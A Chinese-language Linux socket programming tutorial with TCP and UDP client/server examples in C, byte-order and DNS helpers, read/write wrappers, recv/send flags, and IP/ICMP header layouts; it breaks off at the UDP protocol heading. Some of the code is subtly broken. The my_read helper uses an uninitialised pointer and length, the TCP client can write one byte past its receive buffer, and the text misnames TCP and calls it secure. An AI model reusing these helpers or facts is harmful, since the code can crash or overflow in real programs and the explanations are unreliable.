Linux網絡編程入門

(一)Linux網絡編程--網絡知識介紹

Linux網絡編程--網絡知識介紹
客戶端和服務端
        網絡程序和普通的程序有一個最大的區別是網絡程序是由兩個部分組成的--客戶端和服務器端.

客戶端
        在網絡程序中,如果一個程序主動和外面的程序通信,那麼我們把這個程序稱爲客戶端程序。 比如我們使用ftp程序從另外一
        個地方獲取文件的時候,是我們的ftp程序主動同外面進行通信(獲取文件), 所以這個地方我們的ftp程序就是客戶端程序。
服務端
        和客戶端相對應的程序即爲服務端程序。被動的等待外面的程序來和自己通訊的程序稱爲服務端程序。
        比如上面的文件獲取中,另外一個地方的程序就是服務端,我們從服務端獲取文件過來。
互爲客戶和服務端
        實際生活中有些程序是互爲服務和客戶端。在這種情況項目, 一個程序既爲客戶端也是服務端。

常用的命令
        由於網絡程序是有兩個部分組成,所以在調試的時候比較麻煩,爲此我們有必要知道一些常用的網絡命令
netstat
        命令netstat是用來顯示網絡的連接,路由表和接口統計等網絡的信息.netstat有許多的選項.
        我們常用的選項是-na 用來顯示詳細的網絡狀態.至於其它的選項我們可以使用幫助手冊獲得詳細的情況.
telnet
        telnet是一個用來登錄遠程的程序,但是我們完全可以用這個程序來調試我們的服務端程序的.
        比如我們的服務器程序在監聽8888端口,我們可以用
                telnet localhost 8888
        來查看服務端的狀況.
pingping 程序用來判斷網絡的狀態是否正常,最經常的一個用法是
        ping 192.168.0.1
        表示我們想查看到192.168.0.1的硬件連接是否正常
TCP/UDP介紹
        TCP(Transfer Control Protocol)傳輸控制協議是一種面向連接的協議, 當我們的網絡程序使用這個協議的時候,
        網絡可以保證我們的客戶端和服務端的連接是可靠的,安全的.

        UDP(User Datagram Protocol)用戶數據報協議是一種非面向連接的協議,
        這種協議並不能保證我們的網絡程序的連接是可靠的,所以我們現在編寫的程序一般是採用TCP協議的.

 

(二)Linux網絡編程--初等網絡函數介紹(TCP)

   Linux系統是通過提供套接字(socket)來進行網絡編程的.網絡程序通過socket和其它幾個函數的調用,
   會返回一個 通訊的文件描述符,我們可以將這個描述符看成普通的文件的描述符來操作,這就是linux的設備無關性的好處.
   我們可以通過向描述符讀寫操作實現網絡之間的數據交流.
(一)socket
 
  int socket(int domain, int type,int protocol)

  domain:說明我們網絡程序所在的主機採用的通訊協族(AF_UNIX和AF_INET等).
        AF_UNIX只能夠用於單一的Unix 系統進程間通信,
        而AF_INET是針對Internet的,因而可以允許在遠程
        主機之間通信(當我們 man socket時發現 domain可選項是 PF_*而不是AF_*,因爲glibc是posix的實現所以用PF代替了AF,
        不過我們都可以使用的).

  type:我們網絡程序所採用的通訊協議(SOCK_STREAM,SOCK_DGRAM等)
        SOCK_STREAM表明我們用的是TCP 協議,這樣會提供按順序的,可靠,雙向,面向連接的比特流.
        SOCK_DGRAM 表明我們用的是UDP協議,這樣只會提供定長的,不可靠,無連接的通信.

  protocol:由於我們指定了type,所以這個地方我們一般只要用0來代替就可以了 socket爲網絡通訊做基本的準備.
  成功時返回文件描述符,失敗時返回-1,看errno可知道出錯的詳細情況.


(二)bind
  int bind(int sockfd, struct sockaddr *my_addr, int addrlen)

  sockfd:是由socket調用返回的文件描述符.

  addrlen:是sockaddr結構的長度.

  my_addr:是一個指向sockaddr的指針. 在中有 sockaddr的定義

        struct sockaddr{
                unisgned short  as_family;
                char            sa_data[14];
        };

  不過由於系統的兼容性,我們一般不用這個頭文件,而使用另外一個結構(struct sockaddr_in) 來代替.在中有sockaddr_in的定義
        struct sockaddr_in{
                unsigned short          sin_family;    
                unsigned short int      sin_port;
                struct in_addr          sin_addr;
                unsigned char           sin_zero[8];
        }
  我們主要使用Internet所以
        sin_family一般爲AF_INET,
        sin_addr設置爲INADDR_ANY表示可以和任何的主機通信,
        sin_port是我們要監聽的端口號.sin_zero[8]是用來填充的.
  bind將本地的端口同socket返回的文件描述符捆綁在一起.成功是返回0,失敗的情況和socket一樣

(三)listen
  int listen(int sockfd,int backlog)

  sockfd:是bind後的文件描述符.

  backlog:設置請求排隊的最大長度.當有多個客戶端程序和服務端相連時, 使用這個表示可以介紹的排隊長度.
  listen函數將bind的文件描述符變爲監聽套接字.返回的情況和bind一樣.


(四)accept
  int accept(int sockfd, struct sockaddr *addr,int *addrlen)

  sockfd:是listen後的文件描述符.

  addr,addrlen是用來給客戶端的程序填寫的,服務器端只要傳遞指針就可以了. bind,listen和accept是服務器端用的函數,
  accept調用時,服務器端的程序會一直阻塞到有一個 客戶程序發出了連接. accept成功時返回最後的服務器端的文件描述符,
  這個時候服務器端可以向該描述符寫信息了. 失敗時返回-1

(五)connect
   int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)

   sockfd:socket返回的文件描述符.

   serv_addr:儲存了服務器端的連接信息.其中sin_add是服務端的地址

   addrlen:serv_addr的長度

   connect函數是客戶端用來同服務端連接的.成功時返回0,sockfd是同服務端通訊的文件描述符 失敗時返回-1.

(六)實例

服務器端程序

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--------------------------------------------------------------------------------

/******* 服務器程序  (server.c) ************/
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>

int main(int argc, char *argv[])
{
        int sockfd,new_fd;
        struct sockaddr_in server_addr;
        struct sockaddr_in client_addr;
        int sin_size,portnumber;
        char hello[]="Hello! Are You Fine?\n";

        if(argc!=2)
        {
                fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
                exit(1);
        }

        if((portnumber=atoi(argv[1]))<0)
        {
                fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
                exit(1);
        }

        /* 服務器端開始建立socket描述符 */
        if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1) 
        {
                fprintf(stderr,"Socket error:%s\n\a",strerror(errno));
                exit(1);
        }

        /* 服務器端填充 sockaddr結構  */
        bzero(&server_addr,sizeof(struct sockaddr_in));
        server_addr.sin_family=AF_INET;
        server_addr.sin_addr.s_addr=htonl(INADDR_ANY);
        server_addr.sin_port=htons(portnumber);

        /* 捆綁sockfd描述符  */
        if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)
        {
                fprintf(stderr,"Bind error:%s\n\a",strerror(errno));
                exit(1);
        }

        /* 監聽sockfd描述符  */
        if(listen(sockfd,5)==-1)
        {
                fprintf(stderr,"Listen error:%s\n\a",strerror(errno));
                exit(1);
        }

        while(1)
        {
                /* 服務器阻塞,直到客戶程序建立連接  */
                sin_size=sizeof(struct sockaddr_in);
                if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size))==-1)
                {
                        fprintf(stderr,"Accept error:%s\n\a",strerror(errno));
                        exit(1);
                }

                fprintf(stderr,"Server get connection from %s\n",
                inet_ntoa(client_addr.sin_addr));
                if(write(new_fd,hello,strlen(hello))==-1)
                {
                        fprintf(stderr,"Write Error:%s\n",strerror(errno));
                        exit(1);
                }
                /* 這個通訊已經結束     */
                close(new_fd);
                /* 循環下一個     */ 
        }
        close(sockfd);
        exit(0);
}

客戶端程序

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--------------------------------------------------------------------------------

/******* 客戶端程序  client.c ************/
/******* 客戶端程序  client.c ************/
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>

int main(int argc, char *argv[])
{
        int sockfd;
        char buffer[1024];
        struct sockaddr_in server_addr;
        struct hostent *host;
        int portnumber,nbytes;

        if(argc!=3)
        {
                fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
                exit(1);
        }

        if((host=gethostbyname(argv[1]))==NULL)
        {
                fprintf(stderr,"Gethostname error\n");
                exit(1);
        }

        if((portnumber=atoi(argv[2]))<0)
        {
                fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
                exit(1);
        }

        /* 客戶程序開始建立 sockfd描述符  */
        if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
        {
                fprintf(stderr,"Socket Error:%s\a\n",strerror(errno));
                exit(1);
        }

        /* 客戶程序填充服務端的資料       */
        bzero(&server_addr,sizeof(server_addr));
        server_addr.sin_family=AF_INET;
        server_addr.sin_port=htons(portnumber);
        server_addr.sin_addr=*((struct in_addr *)host->h_addr);

        /* 客戶程序發起連接請求         */
        if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)
        {
                fprintf(stderr,"Connect Error:%s\a\n",strerror(errno));
                exit(1);
        }

        /* 連接成功了           */
        if((nbytes=read(sockfd,buffer,1024))==-1)
        {
                fprintf(stderr,"Read Error:%s\n",strerror(errno));
                exit(1);
        }
        buffer[nbytes]='\0';
        printf("I have received:%s\n",buffer);
        /* 結束通訊     */
        close(sockfd);
        exit(0);
}

MakeFile
這裏我們使用GNU 的make實用程序來編譯. 關於make的詳細說明見 Make 使用介紹

CODE:  [Copy to clipboard]

#########  Makefile       ###########
all:server client
server:server.c
        gcc $^ -o $@
client:client.c
        gcc $^ -o $@

運行make後會產生兩個程序server(服務器端)和client(客戶端) 先運行./server portnumber& 
        (portnumber隨便取一個大於1204且不在/etc/services中出現的號碼 就用8888好了),
        然後運行  ./client localhost 8888 看看有什麼結果. (你也可以用telnet和netstat試一試.)
        上面是一個最簡單的網絡程序,不過是不是也有點煩.上面有許多函數我們還沒有解釋. 我會在下一章進行的詳細的說明.


(七) 總結
總的來說網絡程序是由兩個部分組成的--客戶端和服務器端.它們的建立步驟一般是:

服務器端
socket-->bind-->listen-->accept

客戶端
socket-->connect

(三)Linux網絡編程--3. 服務器和客戶機的信息函數


這一章我們來學習轉換和網絡方面的信息函數.
3.1 字節轉換函數
在網絡上面有着許多類型的機器,這些機器在表示數據的字節順序是不同的, 比如i386芯片是低字節在內存地址的低端,
高字節在高端,而alpha芯片卻相反. 爲了統一起來,在Linux下面,有專門的字節轉換函數.
unsigned long  int htonl(unsigned long  int hostlong)
unsigned short int htons(unisgned short int hostshort)
unsigned long  int ntohl(unsigned long  int netlong)
unsigned short int ntohs(unsigned short int netshort)

在這四個轉換函數中,h 代表host, n 代表 network.s 代表short l 代表long
        第一個函數的意義是將本機器上的long數據轉化爲網絡上的long. 其他幾個函數的意義也差不多.

3.2 IP和域名的轉換
在網絡上標誌一臺機器可以用IP或者是用域名.那麼我們怎麼去進行轉換呢?

struct hostent *gethostbyname(const char *hostname)
struct hostent *gethostbyaddr(const char *addr,int len,int type)
在中有struct hostent的定義
struct hostent{
        char *h_name;           /* 主機的正式名稱  */
        char *h_aliases;        /* 主機的別名 */
        int   h_addrtype;       /* 主機的地址類型  AF_INET*/
        int   h_length;         /* 主機的地址長度  對於IP4 是4字節32位*/
        char **h_addr_list;     /* 主機的IP地址列表 */
        }
  #define h_addr h_addr_list[0]  /* 主機的第一個IP地址*/

gethostbyname可以將機器名(如 linux.yessun.com)轉換爲一個結構指針.在這個結構裏面儲存了域名的信息
gethostbyaddr可以將一個32位的IP地址(C0A80001)轉換爲結構指針.

這兩個函數失敗時返回NULL 且設置h_errno錯誤變量,調用h_strerror()可以得到詳細的出錯信息


3.3 字符串的IP和32位的IP轉換.
在網絡上面我們用的IP都是數字加點(192.168.0.1)構成的, 而在struct in_addr結構中用的是32位的IP,
我們上面那個32位IP(C0A80001)是的192.168.0.1 爲了轉換我們可以使用下面兩個函數

int inet_aton(const char *cp,struct in_addr *inp)
char *inet_ntoa(struct in_addr in)

函數裏面 a 代表 ascii n 代表network.第一個函數表示將a.b.c.d的IP轉換爲32位的IP,
存儲在 inp指針裏面.第二個是將32位IP轉換爲a.b.c.d的格式.


3.4 服務信息函數
在網絡程序裏面我們有時候需要知道端口.IP和服務信息.這個時候我們可以使用以下幾個函數

int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen)
int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen)
struct servent *getservbyname(const char *servname,const char *protoname)
struct servent *getservbyport(int port,const char *protoname)
struct servent
        {
                char *s_name;          /* 正式服務名 */
                char **s_aliases;      /* 別名列表 */ 
                int s_port;            /* 端口號 */
                char *s_proto;         /* 使用的協議 */
        }

一般我們很少用這幾個函數.對應客戶端,當我們要得到連接的端口號時在connect調用成功後使用可得到
系統分配的端口號.對於服務端,我們用INADDR_ANY填充後,爲了得到連接的IP我們可以在accept調用成功後 使用而得到IP地址.
在網絡上有許多的默認端口和服務,比如端口21對ftp80對應WWW.爲了得到指定的端口號的服務 我們可以調用第四個函數,
相反爲了得到端口號可以調用第三個函數.

3.5 一個例子

CODE:  [Copy to clipboard]

#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>

int main(int argc ,char **argv)
{
        struct sockaddr_in addr;
        struct hostent *host;
        char **alias;
       
        if(argc<2)
        {
         fprintf(stderr,"Usage:%s hostname|ip..\n\a",argv[0]);
         exit(1);
        }
       
        argv++;
        for(;*argv!=NULL;argv++)
        {
                /* 這裏我們假設是IP*/  
                if(inet_aton(*argv,&addr.sin_addr)!=0)
                {
                   host=gethostbyaddr((char   *)&addr.sin_addr,4,AF_INET);
                   printf("Address information of Ip %s\n",*argv);
                }
                else
                {
                      /* 失敗,難道是域名?*/
                      host=gethostbyname(*argv); printf("Address information
                      of host %s\n",*argv);
                }
                if(host==NULL)
                {
                        /* 都不是 ,算了不找了*/
                        fprintf(stderr,"No address information of %s\n",*argv);
                        continue;
                }
                printf("Official host name %s\n",host->h_name);
                printf("Name aliases:");
                for(alias=host->h_aliases;*alias!=NULL;alias++)
                 printf("%s ,",*alias);
                printf("\nIp address:");
                for(alias=host->h_addr_list;*alias!=NULL;alias++)
                  printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias)));
        }
}

在這個例子裏面,爲了判斷用戶輸入的是IP還是域名我們調用了兩個函數,第一次我們假設輸入的是IP所以調用inet_aton,
失敗的時候,再調用gethostbyname而得到信息.

(四)Linux網絡編程--4. 完整的讀寫函數

一旦我們建立了連接,我們的下一步就是進行通信了.在Linux下面把我們前面建立的通道看成是文件描述符,
這樣服務器端和客戶端進行通信時候,只要往文件描述符裏面讀寫東西了. 就象我們往文件讀寫一樣.

4.1 寫函數write
ssize_t write(int fd,const void *buf,size_t nbytes)

write函數將buf中的nbytes字節內容寫入文件描述符fd.成功時返回寫的字節數.失敗時返回-1. 並設置errno變量.
在網絡程序中,當我們向套接字文件描述符寫時有倆種可能.

        1)write的返回值大於0,表示寫了部分或者是全部的數據.

        2)返回的值小於0,此時出現了錯誤.我們要根據錯誤類型來處理.

如果錯誤爲EINTR表示在寫的時候出現了中斷錯誤.
如果爲EPIPE表示網絡連接出現了問題(對方已經關閉了連接).
爲了處理以上的情況,我們自己編寫一個寫函數來處理這幾種情況.

int my_write(int fd,void *buffer,int length)
{
int bytes_left;
int written_bytes;
char *ptr;

ptr=buffer;
bytes_left=length;
while(bytes_left>0)
{
        /* 開始寫*/
        written_bytes=write(fd,ptr,bytes_left);
        if(written_bytes<=0) /* 出錯了*/
        {      
                if(errno==EINTR) /* 中斷錯誤 我們繼續寫*/
                        written_bytes=0;
                else             /* 其他錯誤 沒有辦法,只好撤退了*/
                        return(-1);
        }
        bytes_left-=written_bytes;
        ptr+=written_bytes;     /* 從剩下的地方繼續寫  */
}
return(0);
}

4.2 讀函數read
ssize_t read(int fd,void *buf,size_t nbyte) read函數是負責從fd中讀取內容.當讀成功時,
read返回實際所讀的字節數,如果返回的值是0 表示已經讀到文件的結束了,小於0表示出現了錯誤.
        如果錯誤爲EINTR說明讀是由中斷引起的,
        如果是ECONNREST表示網絡連接出了問題. 和上面一樣,我們也寫一個自己的讀函數.

int my_read(int fd,void *buffer,int length)
{
int bytes_left;
int bytes_read;
char *ptr;
 
bytes_left=length;
while(bytes_left>0)
{
   bytes_read=read(fd,ptr,bytes_read);
   if(bytes_read<0)
   {
     if(errno==EINTR)
        bytes_read=0;
     else
        return(-1);
   }
   else if(bytes_read==0)
       break;
    bytes_left-=bytes_read;
    ptr+=bytes_read;
}
return(length-bytes_left);
}


4.3 數據的傳遞
有了上面的兩個函數,我們就可以向客戶端或者是服務端傳遞數據了.比如我們要傳遞一個結構.可以使用如下方式


/*  客戶端向服務端寫 */
struct my_struct my_struct_client;
write(fd,(void *)&my_struct_client,sizeof(struct my_struct);

/* 服務端的讀*/
char buffer[sizeof(struct my_struct)];
struct *my_struct_server;
read(fd,(void *)buffer,sizeof(struct my_struct));
my_struct_server=(struct my_struct *)buffer;   

在網絡上傳遞數據時我們一般都是把數據轉化爲char類型的數據傳遞.接收的時候也是一樣的 注意的是我們沒有必要在網絡上傳
遞指針(因爲傳遞指針是沒有任何意義的,我們必須傳遞指針所指向的內容)


(五)Linux網絡編程--5. 用戶數據報發送


我們前面已經學習網絡程序的一個很大的部分,由這個部分的知識,我們實際上可以寫出大部分的基於TCP協議的網絡程序了.
現在在 Linux下的大部分程序都是用我們上面所學的知識來寫的.我們可以去找一些源程序來參考一下.這一章,我們簡單的學習一
下基於UDP協議的網絡程序.

5.1 兩個常用的函數
   int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct sockaddr * from int *fromlen)
   int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct sockaddr *to int tolen)

sockfd,buf,len的意義和read,write一樣,分別表示套接字描述符,發送或接收的緩衝區及大小.
recvfrom負責從 sockfd接收數據,如果from不是NULL,那麼在from裏面存儲了信息來源的情況,如果對信息的來源不感興趣,
可以將from和fromlen 設置爲NULL.sendto負責向to發送信息.此時在to裏面存儲了收信息方的詳細資料.


5.2 一個實例

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--------------------------------------------------------------------------------

/*           服務端程序  server.c           */
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
#define SERVER_PORT     8888
#define MAX_MSG_SIZE    1024

void udps_respon(int sockfd)
{
        struct sockaddr_in addr;
        int    n;
                socklen_t addrlen;
        char    msg[MAX_MSG_SIZE];
       
        while(1)
        {       /* 從網絡上讀,寫到網絡上面去   */
                                memset(msg, 0, sizeof(msg));
                                addrlen = sizeof(struct sockaddr);
                                n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0,
                        (struct sockaddr*)&addr,&addrlen);
                /* 顯示服務端已經收到了信息  */
                fprintf(stdout,"I have received %s",msg);
                sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen);
        }
}

int main(void)
{
        int sockfd;
        struct sockaddr_in      addr;
       
        sockfd=socket(AF_INET,SOCK_DGRAM,0);
        if(sockfd<0)
        {
                fprintf(stderr,"Socket Error:%s\n",strerror(errno));
                exit(1);
        }
        bzero(&addr,sizeof(struct sockaddr_in));
        addr.sin_family=AF_INET;
        addr.sin_addr.s_addr=htonl(INADDR_ANY);
        addr.sin_port=htons(SERVER_PORT);
        if(bind(sockfd,(struct sockaddr *)&addr,sizeof(struct sockaddr_in))<0)
        {
                fprintf(stderr,"Bind Error:%s\n",strerror(errno));
                exit(1);
        }
        udps_respon(sockfd);
        close(sockfd);
}

客戶端程序

CODE:  [Copy to clipboard]


--------------------------------------------------------------------------------

/*          客戶端程序             */
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>
#define MAX_BUF_SIZE    1024

void udpc_requ(int sockfd,const struct sockaddr_in *addr,socklen_t len)
{
        char buffer[MAX_BUF_SIZE];
        int n;
        while(fgets(buffer,MAX_BUF_SIZE,stdin))       
        {        /*   從鍵盤讀入,寫到服務端   */
                sendto(sockfd,buffer,strlen(buffer),0,addr,len);
                bzero(buffer,MAX_BUF_SIZE);

                /*   從網絡上讀,寫到屏幕上    */
                                memset(buffer, 0, sizeof(buffer));
                n=recvfrom(sockfd,buffer,MAX_BUF_SIZE, 0, NULL, NULL);
                if(n <= 0)
                                {
                                        fprintf(stderr, "Recv Error %s\n", strerror(errno));
                                        return;
                                }
                                buffer[n]=0;
                fprintf(stderr, "get %s", buffer);
        }
}


int main(int argc,char **argv)
{
        int sockfd,port;
        struct sockaddr_in      addr;
       
        if(argc!=3)
        {
                fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
                exit(1);
        }
       
        if((port=atoi(argv[2]))<0)
        {
                fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
                exit(1);
        }
       
        sockfd=socket(AF_INET,SOCK_DGRAM,0);
        if(sockfd<0)
        {
                fprintf(stderr,"Socket  Error:%s\n",strerror(errno));
                exit(1);
        }      
        /*      填充服務端的資料      */
        bzero(&addr,sizeof(struct sockaddr_in));
        addr.sin_family=AF_INET;
        addr.sin_port=htons(port);
        if(inet_aton(argv[1],&addr.sin_addr)<0)
        {
                fprintf(stderr,"Ip error:%s\n",strerror(errno));
                exit(1);
        }
                 if(connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
                {
                        fprintf(stderr, "connect error %s\n", strerror(errno));
                        exit(1);
                }
        udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in));
        close(sockfd);
}

########### 編譯文件 Makefile        ##########
all:server client
server:server.c
        gcc -o server server.c
client:client.c
        gcc -o client client.c
clean:
        rm -f server
        rm -f client
        rm -f core

運行UDP Server程序
執行./server &命令來啓動服務程序。我們可以使用netstat -ln命令來觀察服務程序綁定的IP地址和端口,部分輸出信息如下:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:32768 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN
udp 0 0 0.0.0.0:32768 0.0.0.0:*
udp 0 0 0.0.0.0:8888 0.0.0.0:*
udp 0 0 0.0.0.0:111 0.0.0.0:*
udp 0 0 0.0.0.0:882 0.0.0.0:*
可以看到udp處有“0.0.0.0:8888”的內容,說明服務程序已經正常運行,可以接收主機上任何IP地址且端口爲8888的數據。

3、運行UDP Client程序
執行./client 127.0.0.1 8888命令來啓動客戶程序,使用127.0.0.1來連接服務程序,執行效果如下:
Hello, World!
Hello, World!
this is a test
this is a test
^d
輸入的數據都正確從服務程序返回了,按ctrl+d可以結束輸入,退出程序。

(六)Linux網絡編程--6. 高級套接字函數

在前面的幾個部分裏面,我們已經學會了怎麼樣從網絡上讀寫信息了.前面的一些函數(read,write)是網絡程序裏面最基本的函數.
也是最原始的通信函數.在這一章裏面,我們一起來學習網絡通信的高級函數.這一章我們學習另外幾個讀寫函數.

6.1 recv和send
  recv和send函數提供了和read和write差不多的功能.不過它們提供 了第四個參數來控制讀寫操作.

         int recv(int sockfd,void *buf,int len,int flags)
         int send(int sockfd,void *buf,int len,int flags)

前面的三個參數和read,write一樣,第四個參數可以是0或者是以下的組合
_______________________________________________________________
|  MSG_DONTROUTE        |  不查找路由表                         |
|  MSG_OOB              |  接受或者發送帶外數據                 |
|  MSG_PEEK             |  查看數據,並不從系統緩衝區移走數據    |
|  MSG_WAITALL          |  等待所有數據                         |
|---------------------------------------------------------------|

MSG_DONTROUTE:是send函數使用的標誌.這個標誌告訴IP協議.目的主機在本地網絡上面,沒有必要查找路由表.
        這個標誌一般用網絡診斷和路由程序裏面.

MSG_OOB:表示可以接收和發送帶外的數據.關於帶外數據我們以後會解釋的.

MSG_PEEK:是recv函數的使用標誌,表示只是從系統緩衝區中讀取內容,而不清除系統緩衝區的內容.這樣下次讀的時候,
        仍然是一樣的內容.一般在有多個進程讀寫數據時可以使用這個標誌.

MSG_WAITALL是recv函數的使用標誌,表示等到所有的信息到達時才返回.使用這個標誌的時候recv回一直阻塞,直到指定的條件滿足,或者是發生了錯誤.
        1)當讀到了指定的字節時,函數正常返回.返回值等於len
        2)當讀到了文件的結尾時,函數正常返回.返回值小於len
        3) 當操作發生錯誤時,返回-1,且設置錯誤爲相應的錯誤號(errno)

如果flags爲0,則和read,write一樣的操作.還有其它的幾個選項,不過我們實際上用的很少,
可以查看 Linux Programmer's Manual得到詳細解釋.

6.2 recvfrom和sendto
        這兩個函數一般用在非套接字的網絡程序當中(UDP),我們已經在前面學會了.

6.3 recvmsg和sendmsg
        recvmsg和sendmsg可以實現前面所有的讀寫函數的功能.

int recvmsg(int sockfd,struct msghdr *msg,int flags)
int sendmsg(int sockfd,struct msghdr *msg,int flags)

  struct msghdr
        {
                void *msg_name;
                int msg_namelen;
                struct iovec *msg_iov;
                int msg_iovlen;
                void *msg_control;
                int msg_controllen;
                int msg_flags;
        }

struct iovec
        {
                void *iov_base; /* 緩衝區開始的地址  */
                size_t iov_len; /* 緩衝區的長度      */
        }

        msg_name和 msg_namelen當套接字是非面向連接時(UDP),它們存儲接收和發送方的地址信息.
        msg_name實際上是一個指向struct sockaddr的指針,
        msg_namelen是結構的長度.當套接字是面向連接時,這兩個值應設爲NULL.
        msg_iov和 msg_iovlen指出接受和發送的緩衝區內容.msg_iov是一個結構指針,msg_iovlen指出這個結構數組的大小. 
        msg_control和msg_controllen這兩個變量是用來接收和發送控制數據時的 msg_flags指定接受和發送的操作選項.
        和 recv,send的選項一樣

6.4 套接字的關閉
關閉套接字有兩個函數close和shutdown.用close時和我們關閉文件一樣.

6.5 shutdown

int shutdown(int sockfd,int howto) 

TCP連接是雙向的(是可讀寫的),當我們使用close時,會把讀寫通道都關閉,有時侯我們希望只關閉一個方向,這個時候我們可以使用
shutdown.針對不同的howto,系統回採取不同的關閉方式.
        howto=0這個時候系統會關閉讀通道.但是可以繼續往接字描述符寫.
        howto=1關閉寫通道,和上面相反,着時候就只可以讀了.
        howto=2關閉讀寫通道,和close一樣 在多進程程序裏面,如果有幾個子進程共享一個套接字時,如果我們使用shutdown,
        那麼所有的子進程都不能夠操作了,這個時候我們只能夠使用close來關閉子進程的套接字描述符.


(七)Linux網絡編程--7. TCP/IP協議

你也許聽說過TCP/IP協議,那麼你知道到底什麼是TCP,什麼是IP嗎?在這一章裏面,我們一起來學習這個目前網絡上用最廣泛的協議.

7.1 網絡傳輸分層
    如果你考過計算機等級考試,那麼你就應該已經知道了網絡傳輸分層這個概念.在網絡上,人們爲了傳輸數據時的方便,
    把網絡的傳輸分爲7個層次.分別是:應用層,表示層,會話層,傳輸層,網絡層,數據鏈路層和物理層.分好了層以後,傳輸數據時,
    上一層如果要數據的話,就可以直接向下一層要了,而不必要管數據傳輸的細節.下一層也只向它的上一層提供數據,
    而不要去管其它東西了.如果你不想考試,你沒有必要去記這些東西的.只要知道是分層的,而且各層的作用不同.

7.2 IP協議
    IP協議是在網絡層的協議.它主要完成數據包的發送作用. 下面這個表是IP4的數據包格式

0      4       8       16                      32
--------------------------------------------------
|版本   |首部長度|服務類型|    數據包總長       |
--------------------------------------------------
|    標識                 |DF |MF| 碎片偏移      |
--------------------------------------------------
|   生存時間    |  協議   |  首部較驗和         |
------------------------------------------------
|               源IP地址                        |
------------------------------------------------
|               目的IP地址                      |
-------------------------------------------------
|               選項                            |
=================================================
|               數據                            |
-------------------------------------------------                      

下面我們看一看IP的結構定義

struct ip
  {
#if __BYTE_ORDER == __LITTLE_ENDIAN
        unsigned int ip_hl:4;           /* header length */
        unsigned int ip_v:4;            /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
        unsigned int ip_v:4;            /* version */
        unsigned int ip_hl:4;           /* header length */
#endif
        u_int8_t ip_tos;                /* type of service */
        u_short ip_len;                 /* total length */
        u_short ip_id;                  /* identification */
        u_short ip_off;                 /* fragment offset field */
#define IP_RF 0x8000                    /* reserved fragment flag */
#define IP_DF 0x4000                    /* dont fragment flag */
#define IP_MF 0x2000                    /* more fragments flag */
#define IP_OFFMASK 0x1fff               /* mask for fragmenting bits */
        u_int8_t ip_ttl;                /* time to live */
        u_int8_t ip_p;                  /* protocol */
        u_short ip_sum;                 /* checksum */
        struct in_addr ip_src, ip_dst;  /* source and dest address */
  };

ip_vIP協議的版本號,這裏是4,現在IPV6已經出來了

ip_hlIP包首部長度,這個值以4字節爲單位.IP協議首部的固定長度爲20個字節,如果IP包沒有選項,那麼這個值爲5.

ip_tos服務類型,說明提供的優先權.

ip_len說明IP數據的長度.以字節爲單位.

ip_id標識這個IP數據包.

ip_off碎片偏移,這和上面ID一起用來重組碎片的.

ip_ttl生存時間.沒經過一個路由的時候減一,直到爲0時被拋棄.

ip_p協議,表示創建這個IP數據包的高層協議.如TCP,UDP協議.

ip_sum首部校驗和,提供對首部數據的校驗.

ip_src,ip_dst發送者和接收者的IP地址

關於IP協議的詳細情況,請參考 RFC791

7.3 ICMP協議
ICMP是消息控制協議,也處於網絡層.在網絡上傳遞IP數據包時,如果發生了錯誤,那麼就會用ICMP協議來報告錯誤.

ICMP包的結構如下:

0              8               16                              32
---------------------------------------------------------------------
|       類型    |       代碼    |       校驗和                  |
--------------------------------------------------------------------
|               數據            |       數據                    |
--------------------------------------------------------------------

ICMP在中的定義是
struct icmphdr
{
  u_int8_t type;                /* message type */
  u_int8_t code;                /* type sub-code */
  u_int16_t checksum;
  union
  {
    struct
    {
      u_int16_t id;
      u_int16_t sequence;
    } echo;                     /* echo datagram */
    u_int32_t   gateway;        /* gateway address */
    struct
    {
      u_int16_t __unused;
      u_int16_t mtu;
    } frag;                     /* path mtu discovery */
  } un;
};

關於ICMP協議的詳細情況可以查看 RFC792

7.4 UDP協議
